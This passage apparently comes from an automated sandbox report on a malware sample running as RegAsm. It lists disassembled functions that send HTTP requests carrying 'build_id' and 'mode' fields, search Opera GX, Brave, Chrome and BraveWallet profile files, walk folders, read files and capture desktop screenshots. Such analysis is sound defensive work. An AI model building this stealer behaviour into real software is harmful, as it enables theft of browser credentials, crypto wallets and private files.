GetProcAddress.KERNEL32 ref: 00417EF6
GetProcAddress.KERNEL32 ref: 00417F0D
GetProcAddress.KERNEL32 ref: 00417F24
GetProcAddress.KERNEL32 ref: 00417F3B
GetProcAddress.KERNEL32 ref: 00417F52
GetProcAddress.KERNEL32 ref: 00417F69
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00417F7F
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00417F95
GetProcAddress.KERNEL32(75AF0000), ref: 00417FB0
GetProcAddress.KERNEL32 ref: 00417FC7
GetProcAddress.KERNEL32 ref: 00417FDE
GetProcAddress.KERNEL32 ref: 00417FF5
GetProcAddress.KERNEL32(75D90000), ref: 00418010
GetProcAddress.KERNEL32(6CC10000), ref: 0041802B
GetProcAddress.KERNEL32 ref: 00418042
GetProcAddress.KERNEL32 ref: 00418059
GetProcAddress.KERNEL32 ref: 00418070
GetProcAddress.KERNEL32(6CA20000,SymMatchString), ref: 0041808A

Strings

SymMatchString, xrefs: 00418084
dbghelp.dll, xrefs: 00417AAD
HttpQueryInfoA, xrefs: 00417F6F
InternetSetOptionA, xrefs: 00417F85

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$SymMatchString$dbghelp.dll
API String ID: 2238633743-951535364
Opcode ID: 03224874fb45e6c46fb278b45bf30394fb78a2bdfedb5a718972308c7089d793
Instruction ID: b1e844fb62b820e65f219bf097f7cac9561447c547020423e5517cd844e2ca6b
Opcode Fuzzy Hash: 03224874fb45e6c46fb278b45bf30394fb78a2bdfedb5a718972308c7089d793
Instruction Fuzzy Hash: 3D42D97E811620EFEB929FA0FD48A653BB3F70AB01B147439FA0586231D7364865EF54

Function 0040514C Relevance: 54.9, APIs: 21, Strings: 10, Instructions: 640
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00405151

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004051FC
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040539B
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 004053D2
lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,mode,00000000,?,00000000,?,00425B20,00000000), ref: 004057CC
lstrlenA.KERNEL32(00000000), ref: 004057DD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004057E7
HeapAlloc.KERNEL32(00000000), ref: 004057EE
lstrlenA.KERNEL32(00000000), ref: 004057FF
memcpy.MSVCRT ref: 00405810
lstrlenA.KERNEL32(00000000), ref: 00405821
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 0040583A
memcpy.MSVCRT ref: 00405843
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405856
HttpSendRequestA.WININET(?,00000000,00000000), ref: 0040586A
InternetReadFile.WININET(?,?,000000C7,?), ref: 004058BE
InternetCloseHandle.WININET(?), ref: 004058C9
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004053F7

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

InternetCloseHandle.WININET(?), ref: 004058D2
InternetCloseHandle.WININET(?), ref: 004058DB
StrCmpCA.SHLWAPI(?), ref: 00405213

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Strings

(, xrefs: 0040591D
build_id, xrefs: 004055F5
------, xrefs: 0040569E
mode, xrefs: 00405746
", xrefs: 004054D0
------, xrefs: 004053FD
", xrefs: 00405770
------, xrefs: 0040554D
------, xrefs: 00405295
", xrefs: 0040561F

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$H_prolog$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$($------$------$------$------$build_id$mode
API String ID: 2237346945-1447386369
Opcode ID: c89f37200f9922f7106968f5488809e0814500ea6250647198128ec8ff4c3949
Instruction ID: b4e14776caadebfe53afa945c4bf6ce093965098b883e79db6b3ac6117d29439
Opcode Fuzzy Hash: c89f37200f9922f7106968f5488809e0814500ea6250647198128ec8ff4c3949
Instruction Fuzzy Hash: 6D425EB190414DEADB11EBE1C956BEEBBB8AF18308F50017EE505B3582DB781B4CCB65

Function 0040C679 Relevance: 44.7, APIs: 19, Strings: 6, Instructions: 924
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040C67E

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00425BD3,00425BD2,00000000,?,00425D1C,?,?,00425BCF,?,?,00000000), ref: 0040C71F
StrCmpCA.SHLWAPI(?,00425D20,?,?,00000000), ref: 0040C786
StrCmpCA.SHLWAPI(?,00425D24,?,?,00000000), ref: 0040C7A0
StrCmpCA.SHLWAPI(00000000,Opera GX,00000000,?,?,?,00425D28,?,?,00425BD6,?,?,00000000), ref: 0040C851

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Opera GX, xrefs: 0040C840
Brave, xrefs: 0040CA43
Preferences, xrefs: 0040CA62
H, xrefs: 0040D34C
Google Chrome, xrefs: 0040D027
\BraveWallet\Preferences, xrefs: 0040CB94

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Brave$Google Chrome$H$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3869166975-1816240570
Opcode ID: 6ef869c5acf4193e10be2cf9d0355ff0e5442593db8ce554f40d3e93bb02fcfc
Instruction ID: 7e6182c7e919ebae31536edbd22d10e843a74c74831f1e41d64d485d49d03601
Opcode Fuzzy Hash: 6ef869c5acf4193e10be2cf9d0355ff0e5442593db8ce554f40d3e93bb02fcfc
Instruction Fuzzy Hash: 3A826070900288EADF25EBA5C955BDDBBB4AF19304F5040BEE449B32C2DB78174DCB66

Function 004153F6 Relevance: 44.1, APIs: 21, Strings: 4, Instructions: 316
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004153FB
wsprintfA.USER32 ref: 00415421
FindFirstFileA.KERNEL32(?,?), ref: 00415438
memset.MSVCRT ref: 0041544F
memset.MSVCRT ref: 0041545D
StrCmpCA.SHLWAPI(?,0042684C), ref: 0041547B
StrCmpCA.SHLWAPI(?,00426850), ref: 00415495
wsprintfA.USER32 ref: 004154B9
StrCmpCA.SHLWAPI(?,0042656E), ref: 004154CA
wsprintfA.USER32 ref: 004154F0
wsprintfA.USER32 ref: 00415504
memset.MSVCRT ref: 00415516
lstrcat.KERNEL32(?,?), ref: 00415528
strtok_s.MSVCRT ref: 00415561
memset.MSVCRT ref: 00415576
lstrcat.KERNEL32(?,?), ref: 0041558B
PathMatchSpecA.SHLWAPI(?,00000000), ref: 004155AE

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426498,00000001,000000C8,00000000,004265BA), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004156B0
strtok_s.MSVCRT ref: 004156E1
FindNextFileA.KERNELBASE(000000FF,?), ref: 00415804
FindClose.KERNEL32(000000FF), ref: 00415815

Strings

%s\%s\%s, xrefs: 004154EA
%s\*.*, xrefs: 00415416
%s\%s, xrefs: 004154B3
%s\%s, xrefs: 004154FE

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcatlstrcpymemsetwsprintf$Find$Filestrtok_s$CloseFirstMatchNextPathSpecSystemTimeUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 264515753-332874205
Opcode ID: 6f8998cb08b0944052efbf8740fd338e57bd105e93cc6d3c4222f09e779521f7
Instruction ID: 697dee4ec641feb1abd42be2dd66715ab0a5b9e69653565ecd0b7dc1d93a1252
Opcode Fuzzy Hash: 6f8998cb08b0944052efbf8740fd338e57bd105e93cc6d3c4222f09e779521f7
Instruction Fuzzy Hash: A4C170B1D0015DEEDF21EBE4DC45FDEBBBDAB08304F50406AF519A2191DB389A48CB65

Function 6C6C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C74F688,00001000), ref: 6C6C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C6C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C6C369F
__aulldiv.LIBCMT ref: 6C6C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C6C3773
EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6C377E
LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6C37C4
EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6C37CB
LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6C3801
__aulldiv.LIBCMT ref: 6C6C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C6C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C6C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C6C394C

Strings

GenuntelineI, xrefs: 6C6C3639
MOZ_TIMESTAMP_MODE, xrefs: 6C6C35DB
QPC, xrefs: 6C6C38FC
AuthcAMDenti, xrefs: 6C6C3946
GTC, xrefs: 6C6C3912

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: d2ccaa95ea3d1ab22d6f6abc5f027eaaadd443aa366ffc733a168da5d7ea793f
Instruction ID: f1f672f258c776f1ca3ac7439a163f7c96d4881560667c5acbf955a1c295d118
Opcode Fuzzy Hash: d2ccaa95ea3d1ab22d6f6abc5f027eaaadd443aa366ffc733a168da5d7ea793f
Instruction Fuzzy Hash: 4BB1B271B093109BDB08EF28C94465ABBF9EB8A718F04C93FE899D7750D73099048B96

Function 004162AF Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004162B4
wsprintfA.USER32 ref: 004162D4
FindFirstFileA.KERNEL32(?,?), ref: 004162EB
StrCmpCA.SHLWAPI(?,00426908), ref: 00416308
StrCmpCA.SHLWAPI(?,0042690C), ref: 00416322
wsprintfA.USER32 ref: 00416346
StrCmpCA.SHLWAPI(?,0042657D), ref: 00416357
wsprintfA.USER32 ref: 00416374

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

wsprintfA.USER32 ref: 00416388
PathMatchSpecA.SHLWAPI(?,?), ref: 0041639B
lstrcat.KERNEL32(?,?), ref: 004163C7
lstrcat.KERNEL32(?,00426924), ref: 004163D9
lstrcat.KERNEL32(?,?), ref: 004163E9
lstrcat.KERNEL32(?,00426928), ref: 004163FB
lstrcat.KERNEL32(?,?), ref: 0041640F
FindNextFileA.KERNEL32(00000000,?), ref: 004165AA
FindClose.KERNEL32(00000000), ref: 004165B9

Strings

%s\*, xrefs: 004162CE
%s\%s, xrefs: 00416340
%s\%s, xrefs: 00416382

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcat$H_prologwsprintf$Find$CloseCreatelstrcpy$AllocFirstHandleLocalMatchNextObjectPathReadSingleSizeSpecThreadWait
String ID: %s\%s$%s\%s$%s\*
API String ID: 3254224521-445461498
Opcode ID: c6dd6b3879fbe31c0c2597002abf9d8c351d85b94a33bf6f60126e16f2efa105
Instruction ID: 716d461ee9032d4a9dae4af77dc79a1df6d5d6082356418533081d48ea1eca12
Opcode Fuzzy Hash: c6dd6b3879fbe31c0c2597002abf9d8c351d85b94a33bf6f60126e16f2efa105
Instruction Fuzzy Hash: 34919E71D0025DABDF11EBE4DD4ABDE7BB8AF09304F4040AAF505A3191DB389748CBA5

Function 004112FD Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00411302
memset.MSVCRT ref: 00411328
GetDesktopWindow.USER32 ref: 0041135E
GetWindowRect.USER32(00000000,?), ref: 0041136B
GetDC.USER32(00000000), ref: 00411372
CreateCompatibleDC.GDI32(00000000), ref: 0041137C
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0041138D
SelectObject.GDI32(00000000,00000000), ref: 00411398
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 004113B4
GlobalFix.KERNEL32(?), ref: 00411412
GlobalSize.KERNEL32(?), ref: 0041141E

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004043AD: _EH_prolog.MSVCRT ref: 004043B2
Part of subcall function 004043AD: lstrlenA.KERNEL32(00000000), ref: 00404421
Part of subcall function 004043AD: StrCmpCA.SHLWAPI(?,004259DF,004259DB,004259D3,004259CF,004259CE), ref: 004044A4
Part of subcall function 004043AD: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004044C4

SelectObject.GDI32(00000000,?), ref: 00411498
DeleteObject.GDI32(?), ref: 004114B3
DeleteObject.GDI32(00000000), ref: 004114BA
ReleaseDC.USER32(00000000,?), ref: 004114C4
CloseWindow.USER32(00000000), ref: 004114CB

Strings

image/jpeg, xrefs: 004113D4

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Object$Window$CompatibleCreateDeleteGlobalH_prologSelectlstrcpy$BitmapCloseDesktopInternetOpenRectReleaseSizelstrlenmemset
String ID: image/jpeg
API String ID: 3067874393-3785015651
Opcode ID: 70786a0f146ffecec4e1b9b9cc4c00fb730120a767e4e931db604414e9c13406
Instruction ID: e481ec1d7c30d31008a5a4d171f0d2eaa52fce57a9362255ea0698d6e4794ba3
Opcode Fuzzy Hash: 70786a0f146ffecec4e1b9b9cc4c00fb730120a767e4e931db604414e9c13406
Instruction Fuzzy Hash: A05118B2D00218AFDF01AFE5DD499EEBFB9FF09714F10402AFA05E2160D7394A558BA5

Function 00415AC2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 133stringfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415AC7
wsprintfA.USER32 ref: 00415AEA
FindFirstFileA.KERNEL32(?,?), ref: 00415B01
StrCmpCA.SHLWAPI(?,004268D4), ref: 00415B23
StrCmpCA.SHLWAPI(?,004268D8), ref: 00415B3D
lstrcat.KERNEL32(?,?), ref: 00415B72
lstrcat.KERNEL32(?), ref: 00415B85
lstrcat.KERNEL32(?,?), ref: 00415B99
lstrcat.KERNEL32(?,?), ref: 00415BA9
lstrcat.KERNEL32(?,004268DC), ref: 00415BBB
lstrcat.KERNEL32(?,?), ref: 00415BCF

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

FindNextFileA.KERNEL32(00000000,?), ref: 00415C69
FindClose.KERNEL32(00000000), ref: 00415C78

Strings

%s\%s, xrefs: 00415AE4

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
